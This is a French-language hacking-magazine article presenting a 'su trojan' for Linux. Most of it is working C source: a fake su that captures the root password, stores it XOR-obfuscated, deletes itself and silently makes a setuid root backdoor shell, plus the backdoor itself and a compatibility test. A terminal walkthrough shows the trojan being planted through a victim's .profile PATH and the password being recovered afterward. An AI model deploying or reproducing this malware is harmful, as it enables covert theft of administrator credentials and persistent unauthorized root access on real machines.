                           Yet Another Su Troyan
			   ---------------------

  NOTE  :  Cette technique marchera ou pas selon la  configuration de votre
           distribution...

Introduction
------------

Tout le monde maintenant connat le principe du 'SU Trojan'  qui consiste 
changer le PATH d'un utilisateur pour qu'il excute un programme se faisant
passer pour su alors qu'il enregistre les mots de passe...
Je rappelle le principe :

hax0r a obtenu un shell non-root sur victim.b0x
en lisant le .bash_history de l'utilisateur 'kalimero' il s'est rendu comp-
te que ce dernier tappait rgulirement su pour passer root.
hax0r place alors un faux su dans /tmp/.fake/su
puis modifie le .profile de kalimero de faon  ce que son PATH ressemble 
/tmp/.fake:/bin:/usr/bin:etc etc
hax0r attends...

kalimero finis par lancer un su (la version de hax0r)
Il entre son mot de passe, le trojan l'enregistre, s'efface,  n'tant alors
plus accessible dans le PATH, puis donne le message 'Invalid password'.
kalimero qui pense avoir fait une erreur retape son pass et passe root

Oui... mais c'est chiant quand mme...
--------------------------------------

C'est vrai que en fonction de la faon dont l'utilisateur a pass son pass,
il va plus ou moins laisser passer la chose...
Il risque d'tre mfiant dans les cas suivants :
- il est l'admin et son pass et plus qu'important
- il connait le 'truc' du su trojan
- il avait la polio des doigts dans les  minutes prcdentes et l il avait
bien fait attention en tappant son pass...

Dommage pour nous,  il regarde son PATH,  voit quelque  chose de bizarre et
dcide de changer de password...  si il est effectivement root il peut mme
regarder les logs et trouver quel est l'user qui a fait le ptit malin...

Mais comment faire  pour rcuprer le pass de  l'utilisateur sans lui faire
utiliser un faux su ?
Comment faire pour que l'utilisateur ait son shell root et nous son pass ?
Histoire de rgler ce problme je mis mes neurones en activit...

Premier essai
-------------
Le premier truc auquel j'ai pens c'tait le sniffing de terminal (TTY). Je
me  disais qu'en  lanant deux processus  en parallle qui  lisent un  mme
terminal, je pourrais rcuprer le password.
J'avais donc  un premier prog qui lance su  puis fork un deuxime processus
en fond qui lisait la console...
Puis rien se passait...  j'ai commenc  tudier des codes comme ttysurf et
toutes les codes  de sniffing de tty...  trop dur.  J'ai finalement utilis
ttyrec  la rescousse (un prog qui permet d'enregistrer ce qui se passe sur
un terminal puis de 'rejouer' l'enregistrement plus tard).
En tudiant les  enregistrements de ttyrec  il tait  clair  que  le mot de
passe que l'on donne  su ne passe pas vraiment par le tty.  En tout cas il
est impossible de le rcuprer de cette manire.

Conlusion  de ce premier essai  :  on ne peut pas rcuprer le pass avec le
vrai su.

Second essai
------------
En ralit je  me posais  la mauvaise question. Je cherchais  'sniffer' le
pass pour  le prendre  au vol.  La question  que j'aurais  du me poser  est
"Comment passer root avec un programme ?"

En effet puisque qu'on ne peut pas rcuprer le root avec le vrai su, on va
utiliser un faux su... On obtiendra donc le mot de passe root.
Notre nouveau challenge  consiste alors  passer root  automatiquement et 
donner un shell root  l'utilisateur comme si de rien n'tait.

Premier problme : comment un programme qui a le pass root devient root ?
C'est vrai qu'il n'existe pas de fonction du style  ch_euid(login,pass) qui
nous arrangerais bien.
Il n'est pas non plus possible de passer le pass en ligne de commande comme
le permettait mysql  une poque.
La seule solution c'est  ouvrir un canal de communication. De la mme faon
que l'on 'bind' un shell sur un port,  nous allons ici  'binder'  su sur un
canal de communication.
J'ai choisi les sockets de type UNIX car les sockets rseaux ncessitent
l'ouverture d'un port et sont donc plus facilement reprable. Pour ceux qui
ne connaissent  pas  on peut  dire en gros  qu'un socket de  type UNIX  est
l'quivalent d'un pipe.. ils sont souvent utiliser pour que deux programmes
puissent communiquer.

On a pour l'instant l'agorithme suivant :
Afficher 'Password: '
Lire le pass, l'enregistrer quelque part et le garder en mmoire
Ouvrir un su sur une socket UNIX (serveur)
Envoyer le pass sur la socket UNIX prcdemment ouverte (client)

Deuxime problme : comment donner le shell root ?
A partir de cette  partie du coding,  il s'est pos un problme.  Qu'est ce
qu'on fait ? On a ouvert un su... on le redirige vers l'utilisateur ?
C'tait beaucoup trop difficile  grer.
Solution : on cre une backdoor setuid root et on l'excute.

Aprs plusieurs  essais il tait  vident qu'il fallait  minimiser les com-
munications  sur la  socket.  Or le seul truc  ncessaire  envoyer  sur la
socket c'est le mot de passe root.
En effet on peut toujours passer les commandes avec l'option '-c' de su.

Nouveau scnario
----------------
hax0r compile une backdoor suid (hsh.c) et la place  /tmp/.hsh
hax0r change le .profile de l'utilisateur pour qu'il lance le faux su

kalimero lance su
kalimero rentre le mot de passe root
-- notre programme rcupre le pass root (enregistrement...)
-- notre programme bind la commande
   "su -c 'chown root.root /tmp/.hsh;chmod +s /tmp.hsh'" sur une socket
-- notre programme fork un client qui passe le pass  su
-- su rcupre le pass et excute les commandes passs en argument
-- notre programme donne la main au shell suid root
kalimero a son shell

Au final :
Kamilero a tapp son password une seule fois et a obtenu son shell root
hax0r s'en tire avec une backdoor  suid root gnre lors de l'excution de
la backdoor mais a aussi le mot de passe root :)
kalimero n'a aucune raison de supposer qu'il s'est fait avoir

Dans la pratique
----------------
hax0r a accs au compte de kalimero :
(kalimero@victim) (suroot) $ ls
HOWTO  hsh.c  Makefile  readpass.c  suroot.c  test.c
(kalimero@victim) (suroot) $ make
gcc -o hsh hsh.c
gcc -o readpass readpass.c
gcc -o suroot suroot.c
gcc -o test test.c
Now you can type 'make install' to place the backdoor in /tmp
(kalimero@victim) (suroot) $ make install
cp hsh /tmp/.hsh
Use the test program to make sure suroot will work on the computer
(kalimero@victim) (suroot) $ mkdir /home/kalimero/.bin
(kalimero@victim) (suroot) $ cp suroot /home/kalimero/.bin/su
(kalimero@victim) (suroot) $ echo export PATH=/home/kalimero/.bin:$PATH >> /home/kalimero/.profile
(kalimero@victim) (suroot) $ ls -al /tmp/
drwxrwxrwt    9 root     root         4096 2005-04-09 23:47 .
drwxr-xr-x   25 root     root         4096 2005-01-08 19:53 ..
-rwxr-xr-x    1 kalimero kalimero    11663 2005-04-09 23:47 .hsh

kalimero (le vrai) veut passer root :
(kalimero@victim) (~) $ su
Password:
root@victim #

hax0r revient un peu plus tard :
(kalimero@victim) (suroot) $ ls -al /tmp
drwxrwxrwt    9 root     root         4096 2005-04-09 23:57 .
drwxr-xr-x   25 root     root         4096 2005-01-08 19:53 ..
-rwsr-xr-x    1 root     root        11663 2005-04-09 23:47 .hsh     <- shell suid root
-rw-r--r--    1 kalimero kalimero        8 2005-04-09 23:57 .sb      <- password XOR
srwxr-xr-x    1 kalimero kalimero        0 2005-04-09 23:57 .socksys <- fichier socket UNIX
(kalimero@victim) (suroot) $ ./readpass
k41im3r0
(kalimero@victim) (suroot) $ /tmp/.hsh
root@victim #

Code
----
Nous avons  d'abord besoin d'un  code capable  de donner un shell root.  L
rien de compliqu...

-- hsh.c --
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>

int main(int argc,char *argv[])
{
  setuid(0);
  setgid(0);
  execl("/bin/bash","/bin/bash",(char*)0);
  return 0;
}
-- hsh.c --

Voici maintenant le code de notre faux su :

-- suroot.c --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/un.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>

#define SU_PATH "/bin/su"        // le chemin vers le vrai su
#define BD_PATH "/tmp/.hsh"      // le chemin vers le shell
#define SOCK_UX "/tmp/.socksys"  // la socket UNIX qui sera utilise
#define PASSLOG "/tmp/.sb"       // le fichier o on enregistrera le pass

/* la commande qui sera passe en paramtre  su pour mettre
 * la backdoor suid0
 */
#define CMD "chown root.root %s; chmod +s %s"

/* Le message d'erreur de su (au cas o l'utilisateur se goure
 * vraiment de mot de passe). A configurer en fonction de la
 * langue de l'utilisateur
 */
#define SU_ERR "su: Mot de passe incorrect.\n"

/* En cas d'erreur on quitte en prenant soin d'afficher le message
 * d'erreur du vrai su
 */
void exit_on_err(void)
{
  fprintf(stderr,SU_ERR);
  exit(1);
}

void exit_on_alarm(int sig_num)
{
  exit_on_err();
}

/* Auto-suppression de notre su, quelque soit la faon dont il a t
 * lanc (chemin relatif ou absolu)
 */
void unlink_me(char *argv0)
{
  char cwd[PATH_MAX+1];
  char dir[PATH_MAX+1];
  if(argv0[0]=='/')
    unlink(argv0);
  else
  {
    if(strchr(argv0,'/')!=NULL)
    {
      if(getcwd(cwd,PATH_MAX+1)!=NULL)
      {
	sprintf(dir,"%s/%s",cwd,argv0);
	unlink(argv0);
      }
    }
  }
}

int main(int argc,char *argv[])
{
  int s,c,nc;
  char *pass;
  char *pass2;
  char command[64];
  FILE *fd;
  int i;
  int size;
  struct sockaddr_un sun;
  struct sockaddr_un remote;
  struct stat st;

  // On rcupre le password sans la variable pass
  if((pass=getpass("Password: "))==NULL)
    exit_on_err();
  
  /* On ouvre notre fichier de password et on y met le pass
   * XOR avec la valeur 0xFF
   */
  if((fd=fopen(PASSLOG,"wb"))!=NULL)
  {
    for(i=0;i<strlen(pass);i++)
      fputc(pass[i]^0xFF,fd);
    fclose(fd);
  }
  
  /* Auto-destruction, le programme est en mmoire, la copie physique
   * n'est plus utile
   */
  unlink_me(argv[0]);
  // On efface la socket UNIX (prvoir une ancienne utilisation
  unlink(SOCK_UX);

  // Notre programme se divise en deux
  if((i=fork())==-1)
    exit_on_err();

  if(i==0)
  {
    // Bienvenue dans la partie serveur
    sun.sun_family=AF_UNIX;
    strcpy(sun.sun_path,SOCK_UX);

    // On cre la socket, on attend une connexion
    if((s=socket(AF_UNIX,SOCK_STREAM,0))==-1)
      exit_on_err();
    if(bind(s,(struct sockaddr*)&sun,sizeof(struct sockaddr))==-1)
      exit_on_err();
    if(listen(s,1)==-1)
      exit_on_err();
    size=sizeof(struct sockaddr_un);
    if((nc=accept(s,(struct sockaddr*)&remote,(socklen_t *)&size))==-1)
      exit_on_err();
    // on a une connexion, on redirige les entres/sorties vers su
    close(0);
    close(1);
    close(2);
    dup2(nc,0);
    dup2(nc,1);
    dup2(nc,2);
    sprintf(command,CMD,BD_PATH,BD_PATH);
    // lancement du vrai su avec les commandes en paramtre
    execl(SU_PATH,"su","-c",command,(char *)0);
    // su a le mot de passe, excute les commandes et quitte
    close(nc);
    close(s);
    exit(0);
    // fini pour le serveur
  }
  else
  {
    // Le client est roi ;)
    sun.sun_family=AF_UNIX;
    strcpy(sun.sun_path,SOCK_UX);
    // On tourne en boucle en attendant que la socket soit ouverte
    while(stat(SOCK_UX,&st)==-1){}
    
    // connexion
    if((c=socket(AF_UNIX,SOCK_STREAM,0))==-1)
      exit_on_err();
    if(connect(c,(struct sockaddr*)&sun,sizeof(struct sockaddr))==-1)
      exit_on_err();
    pass2=(char*)malloc(strlen(pass)+2);
    sprintf(pass2,"%s\n",pass);
    // on envoie  su le pass qu'on a rcupr
    if(send(c,pass2,strlen(pass2),0)==-1)
    {
      free(pass2);
      exit_on_err();
    }
    free(pass2);
    /* On attend que la partie serveur soit termine, de cette faon
     * on est sr que su a termin
     */
    wait(NULL);
    close(c);
  }
  i=1;
  /* On dfini une timeout de deux secondes pour l'opration suivante.
   * Dans le cas o les deux secondes s'coulent, on affiche le message
   * d'erreur et on quitte
   */
  signal(SIGALRM,exit_on_alarm);
  alarm(2);
  /* On tourne en boucle tant que notre backdoor n'est pas setuid root */
  while(i==1)
  {
    if(stat(BD_PATH,&st)==-1)
      exit_on_err();
    if( (st.st_mode & S_ISUID) && st.st_uid==0 && st.st_gid==0)i=0;
  }
  // Si on arrive ici on a gagn :)
  alarm(0);
  // On donne son shell root  l'utilisateur
  execl(BD_PATH,BD_PATH,(char*)0);
  
  return 0;
}
-- suroot.c --

Comme vous pouvez  le constater le principal soucis tait que notre version
de su soit aussi rapide que l'original...  ou du moins que la diffrence ne
se remarque pas.  En utilisant la fonction  wait()  qui attend la  fin d'un
processus et plus tard la fonction alarm() on minimise les risques.
Le principal  risque est tout  simplement que cette technique ne fonctionne
pas.  Selon la  configuration de votre  distribution,  su acceptera  ou pas
d'tre 'bind' sur un canal de communication.
J'ai cod  ce logiciel  sous une  SuSE 9.1  et tout  passait comme  dans du
beurre :)
Sous une  distribution base sur Slackware je me suis  apperu que mon pro-
gramme tait loin  de fonctionner partout.  Il ne fonctionnait pas non plus
sur Ubuntu...

Voici un petit bout  de code qui vous permettra de savoir  si votre systme
est vulnrable  cette technique :

-- test.c --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>

int main(int argc,char *argv[])
{
  int dn;

  printf("You must use this program first to know if suroot will work.\n");
  printf("* you get a 'Password:' prompt -> it's good !\n");
  printf("* you get 'su : must be run from a terminal' -> won't work !\n");
  printf("--------------- press a key to continue ---------------\n");
  getchar();
  dn=open("/dev/null",O_RDWR);
  close(0);
  close(1);
  dup2(dn,0);
  dup2(dn,1);
  execl("/bin/su","/bin/su",(char *)0);
  close(dn);
  return 0;
}
-- test.c --

Voici ce que j'obtiens sur Ubuntu :
(sirius@lotfree) (suroot) $ ./test
You must use this program first to know if suroot will work.
* you get a 'Password:' prompt -> it's good !
* you get 'su : must be run from a terminal' -> won't work !
--------------- press a key to continue ---------------

su : doit tre lanc  partir d'un terminal

Tout le code est fournit avec le mag.
hsh.c: backdoor
readpass.c: dcrypte le password enregistr
suroot.c: programme principal
test.c: savoir si le systme est vulnrable

sirius_black
